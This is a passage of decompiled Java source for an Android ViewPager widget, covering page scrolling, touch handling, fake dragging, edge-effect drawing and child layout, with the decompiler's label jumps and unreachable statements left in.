ItemInfo localItemInfo1 = (ItemInfo)this.mItems.get(0);
ItemInfo localItemInfo2 = (ItemInfo)this.mItems.get(this.mItems.size() - 1);
if (localItemInfo1.position != 0)
{
i = 0;
paramFloat = localItemInfo1.offset * k;
}
if (localItemInfo2.position != this.mAdapter.getCount() - 1)
{
j = 0;
f1 = localItemInfo2.offset * k;
}
if (f2 < paramFloat) {
if (i != 0) {
bool1 = this.mLeftEdge.onPull(Math.abs(paramFloat - f2) / k);
}
}
for (;;)
{
this.mLastMotionX += paramFloat - (int)paramFloat;
scrollTo((int)paramFloat, getScrollY());
pageScrolled((int)paramFloat);
return bool1;
bool1 = bool3;
paramFloat = f2;
if (f2 > f1)
{
bool1 = bool2;
if (j != 0) {
bool1 = this.mRightEdge.onPull(Math.abs(f2 - f1) / k);
}
paramFloat = f1;
}
}
}
private void recomputeScrollPosition(int paramInt1, int paramInt2, int paramInt3, int paramInt4)
{
if ((paramInt2 > 0) && (!this.mItems.isEmpty()))
{
if (!this.mScroller.isFinished())
{
this.mScroller.setFinalX(getCurrentItem() * getClientWidth());
return;
}
int i = getPaddingLeft();
int j = getPaddingRight();
int k = getPaddingLeft();
int m = getPaddingRight();
f = getScrollX() / (paramInt2 - k - m + paramInt4);
scrollTo((int)((paramInt1 - i - j + paramInt3) * f), getScrollY());
return;
}
ItemInfo localItemInfo = infoForPosition(this.mCurItem);
if (localItemInfo != null) {}
for (float f = Math.min(localItemInfo.offset, this.mLastOffset);; f = 0.0F)
{
paramInt1 = (int)((paramInt1 - getPaddingLeft() - getPaddingRight()) * f);
if (paramInt1 == getScrollX()) {
break;
}
completeScroll(false);
scrollTo(paramInt1, getScrollY());
return;
}
}
private void removeNonDecorViews()
{
int j;
for (int i = 0; i < getChildCount(); i = j + 1)
{
j = i;
if (!((LayoutParams)getChildAt(i).getLayoutParams()).isDecor)
{
removeViewAt(i);
j = i - 1;
}
}
}
private void requestParentDisallowInterceptTouchEvent(boolean paramBoolean)
{
ViewParent localViewParent = getParent();
if (localViewParent != null) {
localViewParent.requestDisallowInterceptTouchEvent(paramBoolean);
}
}
private boolean resetTouch()
{
this.mActivePointerId = -1;
endDrag();
return this.mLeftEdge.onRelease() | this.mRightEdge.onRelease();
}
private void scrollToItem(int paramInt1, boolean paramBoolean1, int paramInt2, boolean paramBoolean2)
{
ItemInfo localItemInfo = infoForPosition(paramInt1);
int i = 0;
if (localItemInfo != null) {
i = (int)(getClientWidth() * Math.max(this.mFirstOffset, Math.min(localItemInfo.offset, this.mLastOffset)));
}
if (paramBoolean1)
{
smoothScrollTo(i, 0, paramInt2);
if (paramBoolean2) {
dispatchOnPageSelected(paramInt1);
}
return;
}
if (paramBoolean2) {
dispatchOnPageSelected(paramInt1);
}
completeScroll(false);
scrollTo(i, 0);
pageScrolled(i);
}
private void setScrollState(int paramInt)
{
if (this.mScrollState == paramInt) {
return;
}
this.mScrollState = paramInt;
if (this.mPageTransformer != null) {
if (paramInt == 0) {
break label38;
}
}
label38:
for (boolean bool = true;; bool = false)
{
enableLayers(bool);
dispatchOnScrollStateChanged(paramInt);
return;
}
}
private void setScrollingCacheEnabled(boolean paramBoolean)
{
if (this.mScrollingCacheEnabled != paramBoolean) {
this.mScrollingCacheEnabled = paramBoolean;
}
}
private void sortChildDrawingOrder()
{
if (this.mDrawingOrder != 0)
{
if (this.mDrawingOrderedChildren == null) {
this.mDrawingOrderedChildren = new ArrayList();
}
for (;;)
{
int j = getChildCount();
int i = 0;
while (i < j)
{
View localView = getChildAt(i);
this.mDrawingOrderedChildren.add(localView);
i += 1;
}
this.mDrawingOrderedChildren.clear();
}
Collections.sort(this.mDrawingOrderedChildren, sPositionComparator);
}
}
public void addFocusables(ArrayList<View> paramArrayList, int paramInt1, int paramInt2)
{
int j = paramArrayList.size();
int k = getDescendantFocusability();
if (k != 393216)
{
int i = 0;
while (i < getChildCount())
{
View localView = getChildAt(i);
if (localView.getVisibility() == 0)
{
ItemInfo localItemInfo = infoForChild(localView);
if ((localItemInfo != null) && (localItemInfo.position == this.mCurItem)) {
localView.addFocusables(paramArrayList, paramInt1, paramInt2);
}
}
i += 1;
}
}
if (((k == 262144) && (j != paramArrayList.size())) || (!isFocusable())) {}
while ((((paramInt2 & 0x1) == 1) && (isInTouchMode()) && (!isFocusableInTouchMode())) || (paramArrayList == null)) {
return;
}
paramArrayList.add(this);
}
ItemInfo addNewItem(int paramInt1, int paramInt2)
{
ItemInfo localItemInfo = new ItemInfo();
localItemInfo.position = paramInt1;
localItemInfo.object = this.mAdapter.instantiateItem(this, paramInt1);
localItemInfo.widthFactor = this.mAdapter.getPageWidth(paramInt1);
if ((paramInt2 < 0) || (paramInt2 >= this.mItems.size()))
{
this.mItems.add(localItemInfo);
return localItemInfo;
}
this.mItems.add(paramInt2, localItemInfo);
return localItemInfo;
}
public void addOnAdapterChangeListener(@NonNull OnAdapterChangeListener paramOnAdapterChangeListener)
{
if (this.mAdapterChangeListeners == null) {
this.mAdapterChangeListeners = new ArrayList();
}
this.mAdapterChangeListeners.add(paramOnAdapterChangeListener);
}
public void addOnPageChangeListener(OnPageChangeListener paramOnPageChangeListener)
{
if (this.mOnPageChangeListeners == null) {
this.mOnPageChangeListeners = new ArrayList();
}
this.mOnPageChangeListeners.add(paramOnPageChangeListener);
}
public void addTouchables(ArrayList<View> paramArrayList)
{
int i = 0;
while (i < getChildCount())
{
View localView = getChildAt(i);
if (localView.getVisibility() == 0)
{
ItemInfo localItemInfo = infoForChild(localView);
if ((localItemInfo != null) && (localItemInfo.position == this.mCurItem)) {
localView.addTouchables(paramArrayList);
}
}
i += 1;
}
}
public void addView(View paramView, int paramInt, ViewGroup.LayoutParams paramLayoutParams)
{
ViewGroup.LayoutParams localLayoutParams = paramLayoutParams;
if (!checkLayoutParams(paramLayoutParams)) {
localLayoutParams = generateLayoutParams(paramLayoutParams);
}
paramLayoutParams = (LayoutParams)localLayoutParams;
paramLayoutParams.isDecor |= isDecorView(paramView);
if (this.mInLayout)
{
if ((paramLayoutParams != null) && (paramLayoutParams.isDecor)) {
throw new IllegalStateException("Cannot add pager decor view during layout");
}
paramLayoutParams.needsMeasure = true;
addViewInLayout(paramView, paramInt, localLayoutParams);
return;
}
super.addView(paramView, paramInt, localLayoutParams);
}
public boolean arrowScroll(int paramInt)
{
View localView = findFocus();
Object localObject;
boolean bool;
int i;
int j;
if (localView == this)
{
localObject = null;
bool = false;
localView = FocusFinder.getInstance().findNextFocus(this, (View)localObject, paramInt);
if ((localView == null) || (localView == localObject)) {
break label343;
}
if (paramInt != 17) {
break label280;
}
i = getChildRectInPagerCoordinates(this.mTempRect, localView).left;
j = getChildRectInPagerCoordinates(this.mTempRect, (View)localObject).left;
if ((localObject == null) || (i < j)) {
break label270;
}
bool = pageLeft();
}
for (;;)
{
if (bool) {
playSoundEffect(SoundEffectConstants.getContantForFocusDirection(paramInt));
}
return bool;
localObject = localView;
if (localView == null) {
break;
}
j = 0;
StringBuilder localStringBuilder;
for (localObject = localView.getParent();; localObject = ((ViewParent)localObject).getParent())
{
i = j;
if ((localObject instanceof ViewGroup))
{
if (localObject == this) {
i = 1;
}
}
else
{
localObject = localView;
if (i != 0) {
break;
}
localStringBuilder = new StringBuilder();
localStringBuilder.append(localView.getClass().getSimpleName());
for (localObject = localView.getParent(); (localObject instanceof ViewGroup); localObject = ((ViewParent)localObject).getParent()) {
localStringBuilder.append(" => ").append(localObject.getClass().getSimpleName());
}
}
}
Log.e("ViewPager", "arrowScroll tried to find focus based on non-child current focused view " + localStringBuilder.toString());
localObject = null;
break;
label270:
bool = localView.requestFocus();
continue;
label280:
if (paramInt == 66)
{
i = getChildRectInPagerCoordinates(this.mTempRect, localView).left;
j = getChildRectInPagerCoordinates(this.mTempRect, (View)localObject).left;
if ((localObject != null) && (i <= j))
{
bool = pageRight();
}
else
{
bool = localView.requestFocus();
continue;
label343:
if ((paramInt == 17) || (paramInt == 1)) {
bool = pageLeft();
} else if ((paramInt == 66) || (paramInt == 2)) {
bool = pageRight();
}
}
}
}
}
public boolean beginFakeDrag()
{
if (this.mIsBeingDragged) {
return false;
}
this.mFakeDragging = true;
setScrollState(1);
this.mLastMotionX = 0.0F;
this.mInitialMotionX = 0.0F;
if (this.mVelocityTracker == null) {
this.mVelocityTracker = VelocityTracker.obtain();
}
for (;;)
{
long l = SystemClock.uptimeMillis();
MotionEvent localMotionEvent = MotionEvent.obtain(l, l, 0, 0.0F, 0.0F, 0);
this.mVelocityTracker.addMovement(localMotionEvent);
localMotionEvent.recycle();
this.mFakeDragBeginTime = l;
return true;
this.mVelocityTracker.clear();
}
}
protected boolean canScroll(View paramView, boolean paramBoolean, int paramInt1, int paramInt2, int paramInt3)
{
if ((paramView instanceof ViewGroup))
{
ViewGroup localViewGroup = (ViewGroup)paramView;
int j = paramView.getScrollX();
int k = paramView.getScrollY();
int i = localViewGroup.getChildCount() - 1;
while (i >= 0)
{
View localView = localViewGroup.getChildAt(i);
if ((paramInt2 + j >= localView.getLeft()) && (paramInt2 + j < localView.getRight()) && (paramInt3 + k >= localView.getTop()) && (paramInt3 + k < localView.getBottom()) && (canScroll(localView, true, paramInt1, paramInt2 + j - localView.getLeft(), paramInt3 + k - localView.getTop()))) {
return true;
}
i -= 1;
}
}
return (paramBoolean) && (ViewCompat.canScrollHorizontally(paramView, -paramInt1));
}
public boolean canScrollHorizontally(int paramInt)
{
boolean bool2 = true;
boolean bool1 = true;
if (this.mAdapter == null) {}
int i;
int j;
do
{
return false;
i = getClientWidth();
j = getScrollX();
if (paramInt < 0)
{
if (j > (int)(i * this.mFirstOffset)) {}
for (;;)
{
return bool1;
bool1 = false;
}
}
} while (paramInt <= 0);
if (j < (int)(i * this.mLastOffset)) {}
for (bool1 = bool2;; bool1 = false) {
return bool1;
}
}
protected boolean checkLayoutParams(ViewGroup.LayoutParams paramLayoutParams)
{
return ((paramLayoutParams instanceof LayoutParams)) && (super.checkLayoutParams(paramLayoutParams));
}
public void clearOnPageChangeListeners()
{
if (this.mOnPageChangeListeners != null) {
this.mOnPageChangeListeners.clear();
}
}
public void computeScroll()
{
this.mIsScrollStarted = true;
if ((!this.mScroller.isFinished()) && (this.mScroller.computeScrollOffset()))
{
int i = getScrollX();
int j = getScrollY();
int k = this.mScroller.getCurrX();
int m = this.mScroller.getCurrY();
if ((i != k) || (j != m))
{
scrollTo(k, m);
if (!pageScrolled(k))
{
this.mScroller.abortAnimation();
scrollTo(0, m);
}
}
ViewCompat.postInvalidateOnAnimation(this);
return;
}
completeScroll(true);
}
void dataSetChanged()
{
int i4 = this.mAdapter.getCount();
this.mExpectedAdapterCount = i4;
int i;
int j;
int k;
int m;
label57:
Object localObject;
int i3;
int n;
int i1;
int i2;
if ((this.mItems.size() < this.mOffscreenPageLimit * 2 + 1) && (this.mItems.size() < i4))
{
i = 1;
j = this.mCurItem;
k = 0;
m = 0;
if (m >= this.mItems.size()) {
break label304;
}
localObject = (ItemInfo)this.mItems.get(m);
i3 = this.mAdapter.getItemPosition(((ItemInfo)localObject).object);
if (i3 != -1) {
break label133;
}
n = j;
i1 = k;
i2 = m;
}
for (;;)
{
m = i2 + 1;
k = i1;
j = n;
break label57;
i = 0;
break;
label133:
if (i3 == -2)
{
this.mItems.remove(m);
i3 = m - 1;
m = k;
if (k == 0)
{
this.mAdapter.startUpdate(this);
m = 1;
}
this.mAdapter.destroyItem(this, ((ItemInfo)localObject).position, ((ItemInfo)localObject).object);
i = 1;
i2 = i3;
i1 = m;
n = j;
if (this.mCurItem == ((ItemInfo)localObject).position)
{
n = Math.max(0, Math.min(this.mCurItem, i4 - 1));
i = 1;
i2 = i3;
i1 = m;
}
}
else
{
i2 = m;
i1 = k;
n = j;
if (((ItemInfo)localObject).position != i3)
{
if (((ItemInfo)localObject).position == this.mCurItem) {
j = i3;
}
((ItemInfo)localObject).position = i3;
i = 1;
i2 = m;
i1 = k;
n = j;
}
}
}
label304:
if (k != 0) {
this.mAdapter.finishUpdate(this);
}
Collections.sort(this.mItems, COMPARATOR);
if (i != 0)
{
k = getChildCount();
i = 0;
while (i < k)
{
localObject = (LayoutParams)getChildAt(i).getLayoutParams();
if (!((LayoutParams)localObject).isDecor) {
((LayoutParams)localObject).widthFactor = 0.0F;
}
i += 1;
}
setCurrentItemInternal(j, false, true);
requestLayout();
}
}
public boolean dispatchKeyEvent(KeyEvent paramKeyEvent)
{
return (super.dispatchKeyEvent(paramKeyEvent)) || (executeKeyEvent(paramKeyEvent));
}
public boolean dispatchPopulateAccessibilityEvent(AccessibilityEvent paramAccessibilityEvent)
{
if (paramAccessibilityEvent.getEventType() == 4096) {
return super.dispatchPopulateAccessibilityEvent(paramAccessibilityEvent);
}
int j = getChildCount();
int i = 0;
while (i < j)
{
View localView = getChildAt(i);
if (localView.getVisibility() == 0)
{
ItemInfo localItemInfo = infoForChild(localView);
if ((localItemInfo != null) && (localItemInfo.position == this.mCurItem) && (localView.dispatchPopulateAccessibilityEvent(paramAccessibilityEvent))) {
return true;
}
}
i += 1;
}
return false;
}
float distanceInfluenceForSnapDuration(float paramFloat)
{
return (float)Math.sin((float)((paramFloat - 0.5F) * 0.4712389167638204D));
}
public void draw(Canvas paramCanvas)
{
super.draw(paramCanvas);
int k = 0;
int i = 0;
int m = getOverScrollMode();
boolean bool;
if ((m == 0) || ((m == 1) && (this.mAdapter != null) && (this.mAdapter.getCount() > 1)))
{
int j;
if (!this.mLeftEdge.isFinished())
{
k = paramCanvas.save();
i = getHeight() - getPaddingTop() - getPaddingBottom();
m = getWidth();
paramCanvas.rotate(270.0F);
paramCanvas.translate(-i + getPaddingTop(), this.mFirstOffset * m);
this.mLeftEdge.setSize(i, m);
j = false | this.mLeftEdge.draw(paramCanvas);
paramCanvas.restoreToCount(k);
}
k = j;
if (!this.mRightEdge.isFinished())
{
m = paramCanvas.save();
k = getWidth();
int n = getHeight();
int i1 = getPaddingTop();
int i2 = getPaddingBottom();
paramCanvas.rotate(90.0F);
paramCanvas.translate(-getPaddingTop(), -(this.mLastOffset + 1.0F) * k);
this.mRightEdge.setSize(n - i1 - i2, k);
bool = j | this.mRightEdge.draw(paramCanvas);
paramCanvas.restoreToCount(m);
}
}
for (;;)
{
if (bool) {
ViewCompat.postInvalidateOnAnimation(this);
}
return;
this.mLeftEdge.finish();
this.mRightEdge.finish();
}
}
protected void drawableStateChanged()
{
super.drawableStateChanged();
Drawable localDrawable = this.mMarginDrawable;
if ((localDrawable != null) && (localDrawable.isStateful())) {
localDrawable.setState(getDrawableState());
}
}
public void endFakeDrag()
{
if (!this.mFakeDragging) {
throw new IllegalStateException("No fake drag in progress. Call beginFakeDrag first.");
}
if (this.mAdapter != null)
{
Object localObject = this.mVelocityTracker;
((VelocityTracker)localObject).computeCurrentVelocity(1000, this.mMaximumVelocity);
int i = (int)VelocityTrackerCompat.getXVelocity((VelocityTracker)localObject, this.mActivePointerId);
this.mPopulatePending = true;
int j = getClientWidth();
int k = getScrollX();
localObject = infoForCurrentScrollPosition();
setCurrentItemInternal(determineTargetPage(((ItemInfo)localObject).position, (k / j - ((ItemInfo)localObject).offset) / ((ItemInfo)localObject).widthFactor, i, (int)(this.mLastMotionX - this.mInitialMotionX)), true, true, i);
}
endDrag();
this.mFakeDragging = false;
}
public boolean executeKeyEvent(KeyEvent paramKeyEvent)
{
if (paramKeyEvent.getAction() == 0) {
switch (paramKeyEvent.getKeyCode())
{
}
}
do
{
do
{
return false;
return arrowScroll(17);
return arrowScroll(66);
} while (Build.VERSION.SDK_INT < 11);
if (KeyEventCompat.hasNoModifiers(paramKeyEvent)) {
return arrowScroll(2);
}
} while (!KeyEventCompat.hasModifiers(paramKeyEvent, 1));
return arrowScroll(1);
}
public void fakeDragBy(float paramFloat)
{
if (!this.mFakeDragging) {
throw new IllegalStateException("No fake drag in progress. Call beginFakeDrag first.");
}
if (this.mAdapter == null) {
return;
}
this.mLastMotionX += paramFloat;
float f2 = getScrollX() - paramFloat;
int i = getClientWidth();
paramFloat = i * this.mFirstOffset;
float f1 = i * this.mLastOffset;
Object localObject = (ItemInfo)this.mItems.get(0);
ItemInfo localItemInfo = (ItemInfo)this.mItems.get(this.mItems.size() - 1);
if (((ItemInfo)localObject).position != 0) {
paramFloat = ((ItemInfo)localObject).offset * i;
}
if (localItemInfo.position != this.mAdapter.getCount() - 1) {
f1 = localItemInfo.offset * i;
}
if (f2 < paramFloat) {}
for (;;)
{
this.mLastMotionX += paramFloat - (int)paramFloat;
scrollTo((int)paramFloat, getScrollY());
pageScrolled((int)paramFloat);
long l = SystemClock.uptimeMillis();
localObject = MotionEvent.obtain(this.mFakeDragBeginTime, l, 2, this.mLastMotionX, 0.0F, 0);
this.mVelocityTracker.addMovement((MotionEvent)localObject);
((MotionEvent)localObject).recycle();
return;
paramFloat = f2;
if (f2 > f1) {
paramFloat = f1;
}
}
}
protected ViewGroup.LayoutParams generateDefaultLayoutParams()
{
return new LayoutParams();
}
public ViewGroup.LayoutParams generateLayoutParams(AttributeSet paramAttributeSet)
{
return new LayoutParams(getContext(), paramAttributeSet);
}
protected ViewGroup.LayoutParams generateLayoutParams(ViewGroup.LayoutParams paramLayoutParams)
{
return generateDefaultLayoutParams();
}
public PagerAdapter getAdapter()
{
return this.mAdapter;
}
protected int getChildDrawingOrder(int paramInt1, int paramInt2)
{
if (this.mDrawingOrder == 2) {}
for (paramInt1 = paramInt1 - 1 - paramInt2;; paramInt1 = paramInt2) {
return ((LayoutParams)((View)this.mDrawingOrderedChildren.get(paramInt1)).getLayoutParams()).childIndex;
}
}
public int getCurrentItem()
{
return this.mCurItem;
}
public int getOffscreenPageLimit()
{
return this.mOffscreenPageLimit;
}
public int getPageMargin()
{
return this.mPageMargin;
}
ItemInfo infoForAnyChild(View paramView)
{
for (;;)
{
ViewParent localViewParent = paramView.getParent();
if (localViewParent == this) {
break;
}
if ((localViewParent == null) || (!(localViewParent instanceof View))) {
return null;
}
paramView = (View)localViewParent;
}
return infoForChild(paramView);
}
ItemInfo infoForChild(View paramView)
{
int i = 0;
while (i < this.mItems.size())
{
ItemInfo localItemInfo = (ItemInfo)this.mItems.get(i);
if (this.mAdapter.isViewFromObject(paramView, localItemInfo.object)) {
return localItemInfo;
}
i += 1;
}
return null;
}
ItemInfo infoForPosition(int paramInt)
{
int i = 0;
while (i < this.mItems.size())
{
ItemInfo localItemInfo = (ItemInfo)this.mItems.get(i);
if (localItemInfo.position == paramInt) {
return localItemInfo;
}
i += 1;
}
return null;
}
void initViewPager()
{
setWillNotDraw(false);
setDescendantFocusability(262144);
setFocusable(true);
Context localContext = getContext();
this.mScroller = new Scroller(localContext, sInterpolator);
ViewConfiguration localViewConfiguration = ViewConfiguration.get(localContext);
float f = localContext.getResources().getDisplayMetrics().density;
this.mTouchSlop = localViewConfiguration.getScaledPagingTouchSlop();
this.mMinimumVelocity = ((int)(400.0F * f));
this.mMaximumVelocity = localViewConfiguration.getScaledMaximumFlingVelocity();
this.mLeftEdge = new EdgeEffectCompat(localContext);
this.mRightEdge = new EdgeEffectCompat(localContext);
this.mFlingDistance = ((int)(25.0F * f));
this.mCloseEnough = ((int)(2.0F * f));
this.mDefaultGutterSize = ((int)(16.0F * f));
ViewCompat.setAccessibilityDelegate(this, new MyAccessibilityDelegate());
if (ViewCompat.getImportantForAccessibility(this) == 0) {
ViewCompat.setImportantForAccessibility(this, 1);
}
ViewCompat.setOnApplyWindowInsetsListener(this, new OnApplyWindowInsetsListener()
{
private final Rect mTempRect = new Rect();
public WindowInsetsCompat onApplyWindowInsets(View paramAnonymousView, WindowInsetsCompat paramAnonymousWindowInsetsCompat)
{
paramAnonymousView = ViewCompat.onApplyWindowInsets(paramAnonymousView, paramAnonymousWindowInsetsCompat);
if (paramAnonymousView.isConsumed()) {
return paramAnonymousView;
}
paramAnonymousWindowInsetsCompat = this.mTempRect;
paramAnonymousWindowInsetsCompat.left = paramAnonymousView.getSystemWindowInsetLeft();
paramAnonymousWindowInsetsCompat.top = paramAnonymousView.getSystemWindowInsetTop();
paramAnonymousWindowInsetsCompat.right = paramAnonymousView.getSystemWindowInsetRight();
paramAnonymousWindowInsetsCompat.bottom = paramAnonymousView.getSystemWindowInsetBottom();
int i = 0;
int j = ViewPager.this.getChildCount();
while (i < j)
{
WindowInsetsCompat localWindowInsetsCompat = ViewCompat.dispatchApplyWindowInsets(ViewPager.this.getChildAt(i), paramAnonymousView);
paramAnonymousWindowInsetsCompat.left = Math.min(localWindowInsetsCompat.getSystemWindowInsetLeft(), paramAnonymousWindowInsetsCompat.left);
paramAnonymousWindowInsetsCompat.top = Math.min(localWindowInsetsCompat.getSystemWindowInsetTop(), paramAnonymousWindowInsetsCompat.top);
paramAnonymousWindowInsetsCompat.right = Math.min(localWindowInsetsCompat.getSystemWindowInsetRight(), paramAnonymousWindowInsetsCompat.right);
paramAnonymousWindowInsetsCompat.bottom = Math.min(localWindowInsetsCompat.getSystemWindowInsetBottom(), paramAnonymousWindowInsetsCompat.bottom);
i += 1;
}
return paramAnonymousView.replaceSystemWindowInsets(paramAnonymousWindowInsetsCompat.left, paramAnonymousWindowInsetsCompat.top, paramAnonymousWindowInsetsCompat.right, paramAnonymousWindowInsetsCompat.bottom);
}
});
}
public boolean isFakeDragging()
{
return this.mFakeDragging;
}
protected void onAttachedToWindow()
{
super.onAttachedToWindow();
this.mFirstLayout = true;
}
protected void onDetachedFromWindow()
{
removeCallbacks(this.mEndScrollRunnable);
if ((this.mScroller != null) && (!this.mScroller.isFinished())) {
this.mScroller.abortAnimation();
}
super.onDetachedFromWindow();
}
protected void onDraw(Canvas paramCanvas)
{
super.onDraw(paramCanvas);
int k;
int m;
float f3;
int j;
Object localObject;
float f1;
int n;
int i;
int i1;
if ((this.mPageMargin > 0) && (this.mMarginDrawable != null) && (this.mItems.size() > 0) && (this.mAdapter != null))
{
k = getScrollX();
m = getWidth();
f3 = this.mPageMargin / m;
j = 0;
localObject = (ItemInfo)this.mItems.get(0);
f1 = ((ItemInfo)localObject).offset;
n = this.mItems.size();
i = ((ItemInfo)localObject).position;
i1 = ((ItemInfo)this.mItems.get(n - 1)).position;
}
for (;;)
{
float f2;
if (i < i1)
{
while ((i > ((ItemInfo)localObject).position) && (j < n))
{
localObject = this.mItems;
j += 1;
localObject = (ItemInfo)((ArrayList)localObject).get(j);
}
if (i != ((ItemInfo)localObject).position) {
break label271;
}
f2 = (((ItemInfo)localObject).offset + ((ItemInfo)localObject).widthFactor) * m;
}
label271:
float f4;
for (f1 = ((ItemInfo)localObject).offset + ((ItemInfo)localObject).widthFactor + f3;; f1 += f4 + f3)
{
if (this.mPageMargin + f2 > k)
{
this.mMarginDrawable.setBounds(Math.round(f2), this.mTopPageBounds, Math.round(this.mPageMargin + f2), this.mBottomPageBounds);
this.mMarginDrawable.draw(paramCanvas);
}
if (f2 <= k + m) {
break;
}
return;
f4 = this.mAdapter.getPageWidth(i);
f2 = (f1 + f4) * m;
}
i += 1;
}
}
public boolean onInterceptTouchEvent(MotionEvent paramMotionEvent)
{
int i = paramMotionEvent.getAction() & 0xFF;
if ((i == 3) || (i == 1))
{
resetTouch();
return false;
}
if (i != 0)
{
if (this.mIsBeingDragged) {
return true;
}
if (this.mIsUnableToDrag) {
return false;
}
}
switch (i)
{
}
for (;;)
{
if (this.mVelocityTracker == null) {
this.mVelocityTracker = VelocityTracker.obtain();
}
this.mVelocityTracker.addMovement(paramMotionEvent);
return this.mIsBeingDragged;
i = this.mActivePointerId;
if (i != -1)
{
i = paramMotionEvent.findPointerIndex(i);
float f2 = paramMotionEvent.getX(i);
float f1 = f2 - this.mLastMotionX;
float f4 = Math.abs(f1);
float f3 = paramMotionEvent.getY(i);
float f5 = Math.abs(f3 - this.mInitialMotionY);
if ((f1 != 0.0F) && (!isGutterDrag(this.mLastMotionX, f1)) && (canScroll(this, false, (int)f1, (int)f2, (int)f3)))
{
this.mLastMotionX = f2;
this.mLastMotionY = f3;
this.mIsUnableToDrag = true;
return false;
}
if ((f4 > this.mTouchSlop) && (0.5F * f4 > f5))
{
this.mIsBeingDragged = true;
requestParentDisallowInterceptTouchEvent(true);
setScrollState(1);
if (f1 > 0.0F)
{
f1 = this.mInitialMotionX + this.mTouchSlop;
label282:
this.mLastMotionX = f1;
this.mLastMotionY = f3;
setScrollingCacheEnabled(true);
}
}
while ((this.mIsBeingDragged) && (performDrag(f2)))
{
ViewCompat.postInvalidateOnAnimation(this);
break;
f1 = this.mInitialMotionX - this.mTouchSlop;
break label282;
if (f5 > this.mTouchSlop) {
this.mIsUnableToDrag = true;
}
}
f1 = paramMotionEvent.getX();
this.mInitialMotionX = f1;
this.mLastMotionX = f1;
f1 = paramMotionEvent.getY();
this.mInitialMotionY = f1;
this.mLastMotionY = f1;
this.mActivePointerId = paramMotionEvent.getPointerId(0);
this.mIsUnableToDrag = false;
this.mIsScrollStarted = true;
this.mScroller.computeScrollOffset();
if ((this.mScrollState == 2) && (Math.abs(this.mScroller.getFinalX() - this.mScroller.getCurrX()) > this.mCloseEnough))
{
this.mScroller.abortAnimation();
this.mPopulatePending = false;
populate();
this.mIsBeingDragged = true;
requestParentDisallowInterceptTouchEvent(true);
setScrollState(1);
}
else
{
completeScroll(false);
this.mIsBeingDragged = false;
continue;
onSecondaryPointerUp(paramMotionEvent);
}
}
}
}
protected void onLayout(boolean paramBoolean, int paramInt1, int paramInt2, int paramInt3, int paramInt4)
{
int i3 = getChildCount();
int i5 = paramInt3 - paramInt1;
int i4 = paramInt4 - paramInt2;
paramInt2 = getPaddingLeft();
paramInt1 = getPaddingTop();
int i = getPaddingRight();
paramInt4 = getPaddingBottom();
int i6 = getScrollX();
int k = 0;
int m = 0;
View localView;
int j;
LayoutParams localLayoutParams;
if (m < i3)
{
localView = getChildAt(m);
int i2 = k;
int i1 = paramInt4;
j = paramInt2;
int n = i;
paramInt3 = paramInt1;
if (localView.getVisibility() != 8)
{
localLayoutParams = (LayoutParams)localView.getLayoutParams();
i2 = k;
i1 = paramInt4;
j = paramInt2;
n = i;
paramInt3 = paramInt1;
if (localLayoutParams.isDecor)
{
paramInt3 = localLayoutParams.gravity;
n = localLayoutParams.gravity;
switch (paramInt3 & 0x7)
{
case 2:
case 4:
default:
paramInt3 = paramInt2;
j = paramInt2;
label190:
switch (n & 0x70)
{
default:
paramInt2 = paramInt1;
}
break;
}
}
}
for (;;)
{
paramInt3 += i6;
localView.layout(paramInt3, paramInt2, localView.getMeasuredWidth() + paramInt3, localView.getMeasuredHeight() + paramInt2);
i2 = k + 1;
paramInt3 = paramInt1;
n = i;
i1 = paramInt4;
m += 1;
k = i2;
paramInt4 = i1;
paramInt2 = j;
i = n;
paramInt1 = paramInt3;
break;
paramInt3 = paramInt2;
j = paramInt2 + localView.getMeasuredWidth();
break label190;
paramInt3 = Math.max((i5 - localView.getMeasuredWidth()) / 2, paramInt2);
j = paramInt2;
break label190;
paramInt3 = i5 - i - localView.getMeasuredWidth();
i += localView.getMeasuredWidth();
j = paramInt2;
break label190;
paramInt2 = paramInt1;
paramInt1 += localView.getMeasuredHeight();
continue;
paramInt2 = Math.max((i4 - localView.getMeasuredHeight()) / 2, paramInt1);
continue;
paramInt2 = i4 - paramInt4 - localView.getMeasuredHeight();
paramInt4 += localView.getMeasuredHeight();
}
}
i = i5 - paramInt2 - i;
paramInt3 = 0;
while (paramInt3 < i3)
{
localView = getChildAt(paramInt3);
if (localView.getVisibility() != 8)
{
localLayoutParams = (LayoutParams)localView.getLayoutParams();
if (!localLayoutParams.isDecor)
{
ItemInfo localItemInfo = infoForChild(localView);
if (localItemInfo != null)
{
j = paramInt2 + (int)(i * localItemInfo.offset);
if (localLayoutParams.needsMeasure)
{
localLayoutParams.needsMeasure = false;
localView.measure(View.MeasureSpec.makeMeasureSpec((int)(i * localLayoutParams.widthFactor), 1073741824), View.MeasureSpec.makeMeasureSpec(i4 - paramInt1 - paramInt4, 1073741824));
}
localView.layout(j, paramInt1, localView.getMeasuredWidth() + j, localView.getMeasuredHeight() + paramInt1);
}
}
}
paramInt3 += 1;
}
this.mTopPageBounds = paramInt1;
this.mBottomPageBounds = (i4 - paramInt4);
this.mDecorChildCount = k;
if (this.mFirstLayout) {
scrollToItem(this.mCurItem, false, 0, false);
}
this.mFirstLayout = false;
}
protected void onMeasure(int paramInt1, int paramInt2)
{
setMeasuredDimension(getDefaultSize(0, paramInt1), getDefaultSize(0, paramInt2));
paramInt1 = getMeasuredWidth();
this.mGutterSize = Math.min(paramInt1 / 10, this.mDefaultGutterSize);
paramInt1 = paramInt1 - getPaddingLeft() - getPaddingRight();
paramInt2 = getMeasuredHeight() - getPaddingTop() - getPaddingBottom();
int i5 = getChildCount();
int k = 0;
View localView;
LayoutParams localLayoutParams;
if (k < i5)
{
localView = getChildAt(k);
i = paramInt2;
int j = paramInt1;
int m;
int i1;
label179:
int n;
if (localView.getVisibility() != 8)
{
localLayoutParams = (LayoutParams)localView.getLayoutParams();
i = paramInt2;
j = paramInt1;
if (localLayoutParams != null)
{
i = paramInt2;
j = paramInt1;
if (localLayoutParams.isDecor)
{
j = localLayoutParams.gravity & 0x7;
m = localLayoutParams.gravity & 0x70;
i1 = Integer.MIN_VALUE;
i = Integer.MIN_VALUE;
if ((m != 48) && (m != 80)) {
break label350;
}
m = 1;
if ((j != 3) && (j != 5)) {
break label356;
}
n = 1;
label194:
if (m == 0) {
break label362;
}
j = 1073741824;
label204:
int i3 = paramInt1;
i1 = paramInt2;
int i2 = i3;
int i4;
if (localLayoutParams.width != -2)
{
i4 = 1073741824;
j = i4;
i2 = i3;
if (localLayoutParams.width != -1)
{
i2 = localLayoutParams.width;
j = i4;
}
}
i3 = i1;
